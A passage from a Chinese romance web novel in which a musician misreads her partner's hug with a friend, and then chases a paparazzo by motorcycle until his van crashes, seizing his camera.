柳听颂站到她身后,垂着眼看她反复搓洗着,眼底的情绪被遮掩,看不出什么。 许风扰也无心细究,若是别人,她或许会掩饰一下,但在柳听颂面前,她那点问题早就暴露得一干二净。 短袖被打湿,从指间到掌心,手腕再到小臂,许风扰越洗越往上,将每一处都搓得发红,原本冰凉的水也变得温热。 “可以了,”柳听颂终于出声。 “你洗得很干净了,”她抬手拽住许风扰的手,强硬地将她往外扯。 自动感应的水龙头瞬间止住。 “很干净,”柳听颂再一次强调。 她将许风扰的双手都扣起,扯过旁边的纸巾,在感受到纸巾的粗糙质感时,不禁皱了皱眉。 但没有办法,为了方便,她并没有携带手提包,更无法拿出质地柔软的纸巾。 她只得将力度放得更轻,纸巾贴在肌理上,吸足水后就被取下,再换一张。 许风扰本想挣脱,却被牢牢抓住,只能低着头看着。 对方没有说话,低垂的眉眼很是专注,不曾偏移半点,只有微颤的眼帘,在眼睑下印出淡淡灰影,像蝴蝶扇动的模样。 那些残余的水都被抹去,甚至连最不起眼的指缝,也因此,那些因大力被搓出的指痕就变得更加明显。 不过许风扰并不在意,为了弥补上一段时间的连轴转,经纪人给她放了一个相对长的假期,除了上次的直播外,再没有工作,所以不用担心如何消除这些痕迹,造成上镜的麻烦。 纸巾落在指间,柳听颂突然停顿住,视线停留在小小的一处凹坑,像是突然发觉到了什么。 过分直白的视线,让许风扰有些不自在,下意识曲了曲指,又用力将手抽回来。 “够了,”她从嗓子眼裏挤出这两个字。 “你前两天去医院是为了祛痣?”柳听颂开口询问。 她早该想到的,若不是这个问题,许风扰怎么可能因为感冒而去医院。 “与你无关,”许风扰拒绝回答。 可答案显而易见,根本不需要她回答什么。 思绪落到此处,情绪又跟着起伏,她看了眼旁边的洗手臺。 这点小动作,自然逃不过对面人的眼睛。 她先一步上前,手裏的纸巾落在许风扰唇边。 柳听颂今天画了淡妆,口红虽是很浅的色调,但当涂抹到许风扰的唇上时,还是很明显,尤其是沾染了血迹后,简直可以说上一句凌乱,任谁都能瞧出她刚刚做了什么。 这样的举动提醒了许风扰,她下意识低头,往柳听颂的唇看。 果真被糟蹋得不成样子,原本的伤口未愈又被咬开,旁边还再多了一个,而且不知是不是口红被晕染开的缘故,那唇看起来红肿得厉害,哪怕过了一段时间,也分外明显。 原本打算抛弃鸭舌帽,改戴口罩遮掩的许风扰,沉默了下,觉得这个口罩应该让给柳听颂。 毕竟是她咬出来的,就算再生气也不能撒手不管,最重要的是外面还有个…… 思绪落到这裏,许风扰骤然抿紧唇角,完全抿成一条直线,连留给柳听颂擦拭的地方都没有。 那人一顿,缓缓收回手。 “到底在气什么?”她又一次开口,柔和如软玉调子,掺着一点点无奈的宠溺。 “嗯?”疑问尾音上挑,像小银鈎似的,故意钓着人。 许风扰被问烦了,之前不想说是懒得配合柳听颂的明知故问,现在觉得柳听颂简直把自己当傻子看,她已经给对方留了面子了,是柳听颂自个不要。 “外面还有人在等你,”许风扰终于开口提醒,眼眸沉沉,将情绪都压下。 反复的强调,终于让柳听颂察觉到不对,眼眸一晃,脱口而出道:“你看到了?” 事情终于被摊开,许风扰没有想象中的松了口气,反而在心口泛起一股灼热般的刺痛。 她张了张嘴,最后只憋出一句:“这样的事情以后不要再有了。” 底线还在,那点龌龊的心思被悄悄压死。 可柳听颂却道:“你误会了,我和卡米耶只是朋友。” 许是怕许风扰误会更久,她解释得有些着急,以至于颠三倒四的,没有个正常顺序。 “她是我在国外认识的朋友。” “这次跟随剧团来S市演出,因为我之前帮了他们几个小忙,所以她特地邀请我过来。” 她声音一顿,不知道许风扰看见了多少,索性一下子全部说完。 “她本来想约我吃饭,可我在观众席上看见你和楚澄……” “我先去后臺和她表达了歉意。” “花是为了祝贺她的演出顺利。” “她这人在这方面很固执,总喜欢抱着朋友,我平常都会尽量拦着,但这次一别,恐怕很久才能见面,所以……” 竟是这样吗? 许风扰冷凝的面色没有缓和,可心裏却开始慌乱起来。 一个拥抱而已,她居然能烦成这样 “她早就离开,后臺那边还有事,怎么可能在外面等着。” 剩下的解释,许风扰不想再听,完全纠结在另一件事,心乱如麻,刚刚回暖一点的指尖又泛起寒意。 “这些都不关我的事、”她生硬憋出这句话,难掩其中的慌乱,当即就想要逃走。 可柳听颂又一次将她拽住。 这一次被压在洗手臺的人,变成了许风扰。 宽大细削的手压在臺面水洼中,曲折指节有圆骨凸起,需要抓住什么,却只有平滑的大理石。 柳听颂贴在她身上,踮着脚,将过分柔软的身体压在她怀裏。 熟悉的动作,像之前一样勾住她的脖颈,压着她低头,仰头贴在她唇角。 之前水果糖的甜味已在唇舌触碰中,被融化咽下,如今只剩下淡淡的铁锈味,还有柔软至极的触感。 不同方才,柳听颂这次吻得很凶,齿尖扫过许风扰的唇,留下小小凹坑,呼吸节奏被打乱,还没有来得及缓和,又被全部占领。 她一只手拽着许风扰的衣领,将这件单薄短袖揉得发皱,另一只手压在许风扰的后脑勺,揪住发尾。 之前的伤口又裂开,被擦拭干净的地方又沾染水光。 “我是你的,”暗哑的声音携带着一个又一个吻,如烙铁落下。 “我一直都是你的,”她轻声呢喃,柔和语句中带着坚定。 “宝宝……”她的舌尖勾着许风扰的舌往外,吮进唇间。 “没有别人,从来没有过,”她一次又一次的保证,不再满足于一处,炙热的吻不断落在嘴角,吻过下巴,细细啄着绷紧的凌厉下颌线,同时,覆在后脑的手也在反复抚摸,将银白发丝揉乱。 “我是你的,一直是。” 杵在后头的手收紧,青筋鼓起却没有推开对方。 直到手机的震动声再一次响起,不知何时闭上的眼眸,骤然睁开。 她一下子推开柳听颂,连一眼都不敢看,手往柳听颂那边一甩,不知丢出个什么东西,继而大步往外,不断加快,最后甚至像逃似的往外跑。 脚步声在空旷过道清晰响起,呼啸的风声在耳畔吹响,连同剧烈心跳一起,几乎从胸膛炸开。 完了、完了…… 许风扰脑子裏只剩下这两个字。 不知跑了多久,她几乎慌不择路,完全没有辨别方向的能力,只拼命往前。 直到力竭、直到她觉得柳听颂再也跟不上来。 她才一下子靠在墙上。 完蛋了。 她这样想,抬起的双手捂住脸。 第22章 你个疯子! “你这是咋了?” 随着散场, 观众随着路牌指引,纷纷往出口处走。 楚澄一手拿着手机,一边往对面过道看。 直到瞧见许风扰身影, 她才三步并两步, 急忙走过去,瞪眼一看, 瞧见许风扰这狼狈样,登时就诧异问出声。 不怪她如此,许风扰这模样实在引人注目得很, 之前的帽子不知丢在哪裏, 只余下一头被水打湿刘海的白毛, 眼眸沉沉,嘴唇微肿, 短袖的领口也被揉皱, 整个人都透着股颓丧的疲倦感。 “阿风?”楚澄有点被吓到了, 抬手在她眼前晃了晃, 生怕这人出事。 “你这是去哪了?我连着给你打了十几个电话, 你一个都不接。” 若不是知道剧场中的安保严密, 凭票才能入场, 她都要怀疑许风扰被人绑架了。 “你没事吧?” 眼前的手晃来晃去,晃得许风扰心情浮躁,抬手一拍,将她打开,只道:“我没什么事。” 她加重语气,说了句:“遇到点问题, 回去再说。” 楚澄虽有疑惑,但看周围都是人, 还不断往这边投来视线,便晓得现在不是追问的时候,当即道:“那走吧。” 因担忧堵车的缘故,两人是骑摩托车过来的,本想在剧场外头随便找个车位停着,结果有保安走上前来,说这摩托车的价格高昂,怕出什么问题,让她们停到地下车库裏去。 这下也是麻烦,还得绕一圈才能离开。 楚澄干脆把自己的鸭舌帽一摘,压到许风扰脑袋上,又问道:“你口罩呢?” “也丢了,”许风扰含糊回答了一声,实际是在逃跑离开之前,慌张掏出,塞到柳听颂手中。 楚澄气不打一处来,想要说什么又止住,只能道:“你低着点头走。” 许风扰点了点头表示答应,率先一步抬腿。 两人一高一低,一前一后,有点遮掩又基本等于不存在,一路被不少人认出,偷偷举起手机拍照。 两人顾不得那么多,大步往前。 往日空旷的停车场,现在车来车往,说话声与行驶声交杂,周围到处是汽车尾气的味道。 许风扰一路无话,思绪杂乱,想要理出个头绪,却连根线都扯不出来,反倒得个烦躁又头脑空白的下场。 正当这时,有闪光灯闪烁亮起。 楚澄懒得理会,还以为又是哪一个路人在偷拍,忘记关闭闪光灯,这一路可没少遇到。 许风扰也是,反正都这样了,没必要再阻拦。 可人越往裏走,越觉得不对劲,那闪光灯跟了一路,一直不见停。 因是摩托车的缘故,停靠地方极其偏远,按理说即便是粉丝,也不会跟拍那么久。 许风扰用余光一瞥,便瞧见个头戴帽子、口罩遮脸的人,捂得严严实实的,就连黑色卫衣的帽子也被拉扯戴上,一时分辨不出性别,最重要的是他手裏还拿着个单反。 许风扰一愣。 那人也是嚣张得很,或许是因为两人都摆出不在意的态度,使他放松了警惕,竟还没有放下单反,甚至又当着两人的面拍了两张。 “这也有狗仔?他是跟着谁来的”楚澄压低声音,十分疑惑。 看那狗仔的装备齐全,像是早有准备的模样,而她们两的票都没实名,根本不可能被提前知晓,那对方是跟着谁来呢 柳听颂。 这三个字在脑海中蹦出。 而旁边的楚澄又道:“我刚刚好像看见她跟着你走过来,但是她那会好像没拿单反吧?” 她当时的注意力全在许风扰身上,满脑子的疑惑,哪裏还顾得上其他人,直到这个时候才察觉到不对,但又不敢肯定,表情少有的犹豫。 “不过他应该没拍到什么,随他吧,”楚澄想了下,又懒得管。 一起去看音乐剧这事有什么?就算被发到网上,大家也得夸她两敬业爱学习。 可这些话落在许风扰耳边,却如同惊雷一般炸起。 若是对方拍到她和柳听颂…… 冷汗瞬间冒出,直接浸透上衣。 正当这时,闪光灯又一次亮起,如同挑衅一般发出咔嚓一声。 许风扰当即掏出车钥匙,往楚澄手裏一塞,消声喝道:“快去骑车。” 不等对方反应过来,直接侧身迈腿冲向狗仔。 那狗仔显然呆滞了下,完全没想到会这样,但本能撒腿就跑。 两人距离本就不远,大抵十米左右,而许风扰又先一步冲过来,距离被瞬间缩短,仅差两个身位。 但又没有那么轻易,狗仔长期从事这行当,早就被人追出经验了,正当许风扰伸手要抓时,他立马侧身,转向另一边,巧妙躲开许风扰的手。 许风扰抓了一把空气,又握拳追赶。 那狗仔身形灵活,借着不同轿车的遮挡,毫无章法地绕来绕去,完全不跑直线,若不是许风扰紧追不舍,恐怕早就失去那狗仔的踪影。 抬起又落下的脚步,在地板上踩出接连声响,身侧呼呼风声不断,停车场的灯光将周围照得惨白,时不时就有鸣声冒出。 狗仔借着吉普车一拐,又立马绕向另一辆坦克三百,他心中一松,偏身朝车窗看了眼,本以为能甩开的人居然又跟了上来。 他心中暗骂一句,眼神裏不由多了一丝怨恨。 明明所有人都拍了,凭什么只拦他一个! 可他现在没办法询问,在不停歇地疾速快跑中,胸膛几乎炸开,只能张开嘴,不停大口呼吸。 他见前方又有大车,立马又从车身后一绕,余光中突然失去许风扰的身影。 狗仔表情一松,还以为摆脱了对方,低头说了句什么,便想从左边躲,却见许风扰突然从车头冲出,伸手就朝他怀裏的单反抓去。 竟提前猜到狗仔要往这边跑! 想来也是,狗仔虽是到处乱跑,但人都有隐藏于潜意识的习惯,就好像这狗仔,每次看见较高车身的越野、吉普、面包车等类,就下意识从车后一绕,又借着这点遮挡往前,之后再或左或右逃开。 许风扰连追了十几分钟,便看出一些端倪,率先跑向车头。 这狗仔躲藏废经验丰富,可许风扰应对狗仔的经验比他更丰富。 指尖擦过衣袖,狗仔瞳孔放大,本能往后一缩,迅速转身往后又跑,垂在怀裏的单反晃动不已,直接往肋骨上撞,瞬间疼得厉害。 再看车窗映出的身影,不知是什么毅力支持着,丝毫不见停缓,拼命想抓住他,一点停下放弃的迹象都没有。 他心中一横,眼眸中闪过一丝决然,竟突然向左转,大步往车流行驶的车道跑去。 再看身后的许风扰,她其实已有力竭的趋势,之前在剧场中就跑过一回,虽瘫坐在角落裏休息了一会,可疲倦还在,脸色逐渐惨白,脚步越来越沉,可一想到对方相机裏…… 许风扰一咬牙,拼命极力往前。 此时有车灯一闪,骤然将眼前照亮。 是正从车位拐入路中的黑色轿车,准备往出口处行驶。 许风扰精神一振,猜想那狗仔肯定会被轿车逼停下,她当即加快步伐。 但出乎许风扰意料,那人竟一点速度不减,直冲向车头。 不要命了?! 只听见尖锐的“嘎吱”一声,黑色轿车的司机一脚踩向剎车,幸好速度不快,才能及时停住。 “想死啊你!”他钻出车窗破口大骂。 可狗仔却脚步不停,身体几乎是擦着车头跑过。 许风扰也想骂人,却连一口气都不敢松,急忙追去。 刚想启动的司机又是一脚剎车,气得直打喇叭。 刺耳的滴滴滴声在空旷空间回响。 再看过去,竟只剩下两个缩小的背影。 一路的你追我赶,惹得众人纷纷从车窗探出头,好奇地往外看。 被母亲抱在怀中的小女孩还以为她们在玩游戏,手鼓着掌,用稚嫩童音称赞:“妈妈,那个白头发的姐姐跑得真快。” 可惜许风扰不曾听到,紧紧盯着前头人。 狗仔一个侧身绕过一辆车,又转向往出口跑。 站在亭子裏的保安见此情形,担忧出事,当即大喊一声:“那边那两个人快停下!” “小心车!” 同时檔轮杆被放下,那狗仔一点没听,脚步更快,直接从弯腰横杆下钻过。 许风扰紧随其后。 外头灯光明亮,一瞬涌来,刺得双眼一花,眼泪也随之冒出。 可许风扰根本顾不得那么多,若是再往外,不知那狗仔要跑到哪裏去。 不能再耽搁了,许风扰心念一动,眉眼间多了几分焦急。 她不顾酸痛腿脚,提起一口气就要加快速度。 不曾想那狗仔突然转身,朝一个银白面包车跑去,许风扰还以为他还想故技重施,却没想他突然伸手,将车门用力一扯,当即往上一跨。 居然还有同伴! 他一直不出现,是怕现在车辆拥挤,即便开着车,也会被堵在门口,所以只能让狗仔先在停车场中逃窜,拖延时间,等到同伴将车开往外头,他再追赶上面包车,只是他怎么知道对方已将车开出…… 想是为了回答许风扰的疑问,那人将车窗放下,探出头看向许风扰,虽还在大口喘气,脸上却满是得意,挑衅似的摘下耳朵上的蓝牙耳机,朝许风扰摆了摆手,用口型说了一声拜拜。 果然是个经验极丰富的狗仔。 许风扰脚步更沉,白日裏咽下的食物在翻腾,难言的铁锈味从嗓子眼冒出,大口呼吸也无法缓和半点,反倒让双眼发白,冒出颗颗金星。 难道就这样放弃了? 他到底拍到了什么? 如果真的是那些照片,哪怕是她和柳听颂一前一后出来的照片,恐怕也会惹出不少风波。 柳听颂她…… 许风扰面色更白。 “阿风!” 正当这时,有人大喊一声,身后的停车场出口如同大型扩音器,将发动机的轰鸣声骤然放大响起。 只见一辆白色摩托车疾速驶出,明亮远光灯瞬间射出,落在碧水眼眸中,便如宝石般亮起。 心中绷紧的弦一松,发软的腿脚脱力一般踉跄往前,幸好右腿及时撑住,才免于摔倒,可还没来得及站稳,许风扰又趔趄跑回去。 只见一辆白底的宝马s1000rr防赛冲来,尚未停稳前,楚澄就将头盔一甩,许风扰默契接住,鸭舌帽换做头盔,来不及解释,此刻连说话的时间都没有,她拽住楚澄伸出的手,长腿一跨,当即坐在摩托车后面。 ——嗡嗡! 车把手用力一扭,车身发出剧烈声响,紧接着便如箭般冲出,借着狭窄车型,如游鱼般超过依次行驶的车辆,直冲向那辆面包车。 那狗仔甚至还没有来得及收回脑袋,见到两人又跟了上来,吓得面色大变,立马转身向前,大喊道:“快点快点!她们又跟上来了!” 他不自觉抓住怀裏单反,心裏头不禁冒出一丝悔意。 早知如此,只拍那些就够用了,不应该贪心,见许风扰和楚澄走在一块,便想着拍些照片买给她们的CP粉,小赚一笔,没想到会惹上那么大个麻烦。 他忍不住再出声催促:“快点、她们要追上来了。” 同伙是个爆脾气,经不得半点催促,用一按喇叭,大骂道:“你以为我不想,就说换个车换个车,你偏不换。” 仪表盘的指针不断滑动,看似笨拙的面包车,竟比小车还要灵活,几次超过前方车辆。 可他再怎么厉害,也受限于车流。 因演出刚结束的缘故,这条路挤得不行,到处都是车。 而许风扰两人就轻松许多。 两旁的路灯明亮,高大行道树枝条垂落,斑驳叶影落在两人身上,瞬间又消失不见。 许风扰一手抓住楚澄衣角,稳住身形,眼神则紧紧盯着面包车,终于稍稍松了口气。 楚澄的车技极好,燃陨之中,除了有家室、被妻子管着的纪鹿南,其他三人都有摩托,时常会约着去跑山,所以许风扰没有丝毫担忧。 反倒是前头的面包车,这两人见距离越来越近,又慌又怒。 开车的那个不停大骂:“我就说你不要总贪这些小便宜!叫你走了走了,你非追过去拍,这车也是,非和二手贩子吵半天,就为了省那两千块钱!” 后面那个也急,不断回头看,破音骂道:“我付钱的时候你不也同意了!现在怪我做什么” “你怎么不怪你太慢,还说自己车技好?我差点没在裏头跑死,好不容易摆脱那个疯子,你这又掉了链子!” “我车技好有什么用,你没看见堵成什么样了吗?!” “堵堵堵,你就会说堵,你就不能想想办法吗!” 骂声从铁皮壳子裏钻出,司机的大手疯狂拍打着方向盘。 “她们要追上来了!”狗仔探头一看,急得像热锅上的蚂蚁。 前头的司机看了眼后视镜,一咬牙,猛的将方向盘一转,和那个狗仔一样不要命,不管后面还在前行的轿车,直接冲过黄色实线,闯入另一个车道,径直冲向那边的岔路。 后面的轿车急忙剎停,摩托车随之超过,跟随面包车而去。 司机眼眸发红,完全顾不得其他,脑子裏只剩下摆脱许风扰两人,一脚油门踩到底,二手的铁皮盒子发出要散架的声音,烧焦的味道涌出。 后排的狗仔被颠得直晃,却不敢伸手扶住自己,双手紧紧抱住单反。 这条道路通向城郊,所以较为空旷,同时路灯也变得有点暗淡,显得两旁的树影更深,根本看不清树后是什么,黑漆漆一片。 此刻虽还是盛夏,但由于两人都只穿着一件薄薄短袖,而行驶速度又极快,大风不断刮来,再热的天气也被吹出几分寒意。 许风扰双臂都冒出鸡皮疙瘩,却不敢让叫楚澄慢些,红色长发被吹起,一直打在她身上,严重些的,竟在脖颈细嫩处,拍出红色丝状痕迹,叫许风扰越发清醒。 发动机轰鸣不断,惊起树梢鸟儿。 狗仔回头一看,吓得脱口而出:“艹!她们又追上来了!” 只见白底车身以极快速度逼近,转眼就冲到后座,许风扰当即伸手,要往车窗裏抓。 狗仔吓了一跳,连忙将单反往后甩,继而立马扑车门,摇着手把手往上,要将车窗关上。 许风扰自然不能让他关上,当即伸手往下,要扯门扣。 狗仔又慌忙去拦。 许风扰再伸手拽向挂在脖子上的绳带,原来从一开始就奔着单反去,其他动作不过是为了声东击西。 此刻两车相距不过巴掌大距离,但凡有一辆车歪斜,便会立马撞到一块。 面包车好歹是四轮的铁皮盒子,可摩托车完全是肉包铁,一旦相撞,许风扰两人必然会飞出去,到时候都不知道能不能留条好腿,所以楚澄的压力最大,即便一直被冷风吹着,额间、脖颈还是冒出薄汗。 她不懂许风扰为何如此拼命,完全是抱着相信许风扰的态度往前。 黑色绳带被用力拽住。 狗仔急忙往后仰,抬手又去掰许风扰的手,并慌慌张张喊道:“你快点啊!没看见她们已经冲上来了吗?!” “我他大爷能怎么样!油门已经踩到底!”另一人的态度更差,眼神不断扫过后视镜,许是情绪起伏过大,血直往头上涌,太阳xue青筋鼓起。 “你是不是要我把她们撞死!”他愤怒大喊,可心裏头却清楚知道自己不敢,对方是当红的乐队成员,自己和同伴是什么东西?要是出了事,单是她们两人的粉丝就能把他们骂死,更别说后面高昂的赔偿,能不能继续在这圈裏混都不好说。 黑色绳带在两人手中拉扯,绷直到几乎断开。 狗仔憋了一口气,刚想一股作气扯回,许风扰却突然松手,反手向车门,在狗仔放大的瞳孔中,她用力一扯,车门当即被扯开,甩入风中,被吹得发出咔咔咔身响,车身也随之颠簸,发出要散架的声响。 与此同时,楚澄也更加谨慎,距离被拉远些许,生怕撞到车门上。 可许风扰却喊道:“快一点。” 楚澄表情一凝,选择在脑海中纠结,最后还是选择相信许风扰。 仪表盘上的数字又一次变化,往上不断攀升。 直到之前的位置,那狗仔已反应过来,拽着副驾驶的座椅,伸手去够车门,试图将它关上。 许风扰见此情形,没有丝毫犹豫,竟单手扶着楚澄肩膀,一下子站起。 楚澄吓了一跳,旋即回头喊道:“祖宗你可别跳啊!” 回应她的是许风扰抬起的右腿,只见她用力往前一踹,直蹬车门,巨力之下,发出“嘭”的一声。 本就破破烂烂的铁皮,愣是被踹出一个大坑,而原本风吹得摇晃的车门也不知是不是被踹坏了,竟被完全卡住,完全不会懂了。 “艹艹艹,我的车!这个疯婆子!”司机破口大骂。 狗仔也是又气又怒,心中悔意更甚,早听同行提醒,千万别去惹燃陨乐队,尤其是裏头的许风扰,他却不以为然,这些好了,真惹上疯子了! 而楚澄居然笑起来,大喊着夸了句:“你这一脚够帅啊!” 也不知是不是被刺激傻了,竟兴奋起来了。 许风扰没有理会,偏头看向车厢,狗仔已躲到最裏头的位置,双手捂住单反。 她沉声道:“再过去一点。” “我去我去我去,你真的要跳啊,”楚澄边喊边移车。 她都开始好奇了,这狗仔到底拍到了什么,才让许风扰如此发疯。 平直的公路突然出现岔道。 面包车司机双手抓住方向盘,用力一转,长时间疾速行驶的车轮磨出刺鼻味道,隐隐可见火花冒出。 摩托车也猛转车头,车身出现大弧度倾斜,小腿几乎贴向地板,许风扰紧紧拽住前面人的肩膀,才不至于摔落在地。 车轮在柏油路上留下道道印记,面包车几乎要散架,突然发出异样响声。 两旁路灯越来越暗,周围已没有任何高大建筑物,全是农田,天上碎星更加明显。 摩托过了弯道,又逐渐回位。 面包车司机被前后灌来的风,吹得头发凌乱。 狗仔抓着旁边座椅,生怕大风将自己卷下去。 正当这时,那摩托车突然发出一声更大的轰鸣。 他们表情一紧,就见摩托车又贴了上来。 “你要什么……”慌乱的声音带着惊恐。 只见后座的许风扰单手抓住车梁,脚一蹬,竟直接从摩托车中跳进来! ——嘭! 人砸入车厢发出剧烈声响,不等停稳,便直接向狗仔扑去。 另一边的楚澄因这一蹬而车身摇晃不止,连着摇摆十几次才勉强稳住。 而裏头的许风扰已抓住单反。 “你个疯子!”狗仔拽回单反不成,大喊一声,竟直接抬手,用手肘用力砸向许风扰。 “让开!” 第23章 强撑着的可怜小狗 成年男性的手肘撞来。 她分明已经看见, 却没有半点躲闪,反而趁对方用力之时,猛的往后一扯。 手肘敲打向脑袋, 虽有头盔作为遮挡, 但仍在剧烈撞击中被打得歪斜。 而单反终于被抢到许风扰手中。 头盔裏人顿时闷哼一声,脑袋出现一瞬空白, 之前快跑留下的难受感受加剧,血气似乎要从嗓子眼涌出,之前沾染的甜味彻底消失不见, 只剩下恶心的铁锈味。 可不等她缓和, 那狗仔又慌张扑回来, 要抢回她手中单反。 同时,那面包车司机也从镜中看见这一幕, 大骂一声:“你个废物!” 也是这一声, 让许风扰一下子清醒过来, 当即一脚踹向狗仔, 将他蹬向车窗。 可这样危险的行为, 也将自己置于极凶险的境地, 她本身就处于敞开车门的位置, 在快速行驶中,大风不断往裏头卷,稍有不慎,就会被风卷出去。 是故,许风扰左手拽住主驾驶座椅,右手拽单反, 一脚还蹬在狗仔身上,阻拦对方往前, 一心三用,十分忙碌。 可前头司机见此情形,便急得不行,一手还抓在方向盘上,另一只手就朝后面伸。 许风扰急忙往后躲开,司机又侧身去够,方向盘偏移一瞬,车身也跟着摇晃,而且不知左拐又转到什么地方,从平稳的柏油路变为颠簸石子路,车况越发艰难。 连后面的楚澄都不敢骑太快,只能尽量跟紧,表情更加难看。 车中三人你争我挡,许风扰每次一推开司机的手,狗仔就想趁机压过来,许风扰立马一脚踹开,死死踩在他肩膀,不等她反应,司机又伸手要扯。 幸好这儿偏僻空旷,几乎没有几辆车,否则不知道会发生什么。 “我把你的删了!删了行不行?!”慌乱中,狗仔脸上又挨了一脚,被踹得没脾气后,忍不住出声吼道。 那司机也粗声喊道:“你先把单反给我们,我们保证把你的照片删得干干净净!” 许风扰抬腿又是一脚,声音从白色头盔中传出,很是沉闷:“你先停车。” “你先把相机还我!”狗仔疼得龇牙咧嘴。 “先停车!” “先还我!” “停车!” 许风扰没办法相信他们,柳听颂如今刚回国,除了代言晚宴和那次直播外,再也没有出现在镜头中。 粉丝在焦灼等待下,就连仅发的两条微博都被刷上几回热搜,张导和节目组的微博更是被一边骂,一边催更,好不热闹。 如此盛况,哪个狗仔不想挖出第一个大料 怎么可能那么轻易就删掉 三人抢夺不断,许风扰连踹带踢,体力不支下,呼吸沉重且急促,使头盔镜片捂上一层白雾。 后头的楚澄更是看着心惊肉跳,前头那银白面包车左转一下,右歪一下,颠簸不停,那铁皮盒子更是像要散架一般,不断发出各种声音。 “还给我!”突然一声大喊,从车厢中传出。 “快点停车!”许风扰的声音接上。 楚澄还没有来得及反应,就见前头突然出现一处急转弯,她心脏几乎停止,连忙出声大喊:“向右转!” “转弯!快转弯!” 惊恐的声音接近破音,可此刻已经来不及了,司机虽猛的转了下方向盘,可那面包车侧滑着冲向前头田地。 ——嘭! 车身砸落往下,水田被溅起,未熄灭的车灯照出飞起的小虫,犬吠声从不远处冒出,汪汪个不停。 “阿风!”楚澄大喊一声* ,顾不得危险,立马急剎停下,连车都没有停稳,就跨步跳下,慌张冲过来,身后摩托车摔砸在地,发出“嘭”的一声。 楚澄连头都没转回去,直接跳下田地,拔腿就朝面包车冲去。 “阿风!”她声音恐惧,反复大喊。 “许风扰!” 长腿被泥中拔出又大步往前。 借着隐约灯光,可见楚澄的面色煞白,完全没有了之前的玩世不恭。 前方的面包车没有回应,她心越沉,之前冒出的汗,现在被风一吹,变作更刺骨的寒气。 “许风扰!” “许风扰你出声啊!” 田地全是泥水,往裏走越困难,她扯着腿不断拔出踩进,衣服裤子上全是泥水,连脸上都被溅到。 “许风扰!”可现在不是管这些的时候,楚澄越来越慌,差点连腿都软了。 正当这时,忽有几声咳嗽声传出,分辨不出是谁,但起码可以说明还有人清醒着,情况比她想象中好很多。 楚澄登时大喜,头一回那么庆幸自己有那么长一条腿,用力一跨,愣是比其他人的两步还大。 终于走到车前,之前被许风扰踹了一脚的车门已经彻底掉落,只剩下个侧翻着的左边车身,正好方便楚澄探头往裏看。 模糊灯光照不出裏头的混乱,她找了下,才看见那个明显的白色头盔,顺着往下,终于认出那个是许风扰。 “许风扰你没事吧?”听她的声音,居然都有哭腔了。 许风扰反应有些慢,好像停顿了几秒,才伸出手摆了摆,表示自己没事。 同时又有咳嗽声响起,这才能认出是那司机发出的声音。 “你能动吗?我先拉你出来?”楚澄虽急,可怕许风扰伤到那裏,不能动弹,所以不敢轻易拉扯。 直到许风扰终于出事,说了句:“把我拉出去。” 从头盔中发出的一如之前沉闷声音,分辨不出其他,而楚澄又是个大大咧咧的性子,听到这话,还以为许风扰没出什么事,当即就松了口气,哭骂了句:“你真是吓死我了。” 许风扰没回答,不知是怎么了。 而楚澄也没细究,立马伸手去拽许风扰的手臂,而许风扰也像是缓过来了一点,反手抓住她手腕。 两人同时使劲,这才将许风扰拉出来。 许风扰刚出来,就一下子砸坐在车身上,手裏还紧紧抱着那个单反,看得楚澄又好气又好笑,双手叉着腰在那边大喘气。 许风扰休息了片刻,继而单手抬起,将那个被撞得凹陷的头盔取下,露出一张惨白的脸。 她低头一看,不由庆幸,多亏了头盔,才让她免于头破血流的下场。 但即便如此,她的状态也极差,面色极其苍白,短袖也破破烂烂的,腿脚都有不同程度的伤口,只是周围太暗,实在看不清到底有多严重。 “先救人,”许风扰挤出最后一口气。 楚澄见她还算好着,悬着的心放下一半,又伸手去车厢裏头抓,不过她对其他人可没那么好心,就将那狗仔的头拽出来,确定他可以自己行动了,又去开驾驶座的门。 情况比想象中好得多,只是看起来比较严重。 因司机忙着抢夺单反的缘故,车速其实早已放缓许多,又被一路石子颠得不断减速,而车又恰好摔在水田之中,柔软的水与泥作为缓冲,相对减缓了撞击,且车身摔落后陷于泥地裏,免于翻转的伤害,所以这三人的情况都还好。 尤其是那个司机,不仅坐在左边的驾驶位,还一直绑着安全带,只是被破裂的玻璃划出些许伤口,并无什么大碍。 所以等楚澄帮他打开车门后,他不仅自己翻了出来,还给同伴搭了把手。 “我们先上去,”楚澄看了眼这两人,当即对许风扰开口。 “你能走不,要不要我背你?”楚澄仍然满脸担忧,对许风扰不是很放心。 可对面的许风扰只冒出一句:“没事。” 甚至像是为了让她安心一般,自己站起身,往前两步。 楚澄这才彻底放下心,咧开嘴一笑道:“你还是让我扶着你点,这破田太难走了。” 话毕她伸手就去搀着许风扰,那人没再拒绝,两个人就这样往前迈,将稻地踩得水声作响,那些好不容易种下的农作物,或歪斜或已被拔出,一片狼藉。 她们身后的司机收回视线,沉默着低下头,像是还在头晕,靠着车身坐着。 而那狗仔伤势较重,浑身上下都是泥水,不停大口喘着气。 此刻已是一片漆黑,连星星都只有零碎几点,只能靠着那点微弱车灯才能勉强看清前路。 楚澄之前是太过担心许风扰,不管不顾下,才能快速赶来,现在一边扶着许风扰,一边往外走,走得很是艰难。 一上岸,小腿周围裹了一圈淤泥,和挂了十斤秤砣一般重。 而许风扰甚至都没能爬出田埂,一屁股坐在岸边,终于将那抢夺许久的单反打开。 楚澄连忙凑过去,实在不明白许风扰为何会如此拼命,就连那两个狗仔也是同样的疯狂,如果寻常照片,追赶一段时间后,那些狗仔见无法逃脱就会主动停车,下来协商,让她们花点小钱把照片删了,可现在都追到城郊了,也没见停下。 亮起的屏幕中映出略缩图,许风扰连按几下按键,快速往下翻,直到她和楚澄的照片翻过,熟悉的面孔出现在屏幕中。 果真是奔着柳听颂来的。 再往下,许风扰表情突然一沉,嘴角抿成一条直线。 楚澄就看见了柳听颂的脸,忍不住再往前凑,嘀咕道:“她什么时候也来了?怪不得你急成……” 她话还没说完,眼神就定在屏幕上,结结巴巴道:“这、这是?” 只见屏幕中,之前饰演贵族情人的金发女人,一手抱着玫瑰花,一手抱向柳听颂,柳听颂虽未回抱,可也没阻拦,且这狗仔的角度也极刁钻,不知道去那个影楼进修过,乍一看还以为两人在偏头接吻一般。 这就是让许风扰误会的那个画面,没想到除了让许风扰瞧见外,还被蹲在外头的狗仔给捕抓到了。 许风扰再往下翻,顺序应是从后到前。 灯光明亮过道中,柳听颂与抱着花的卡米耶,并肩往回走。 剧场门口,卡米耶露出惊喜表情,低头嗅着花束。 柳听颂站在旁边,看着从快递小哥手中接到花的卡米耶。 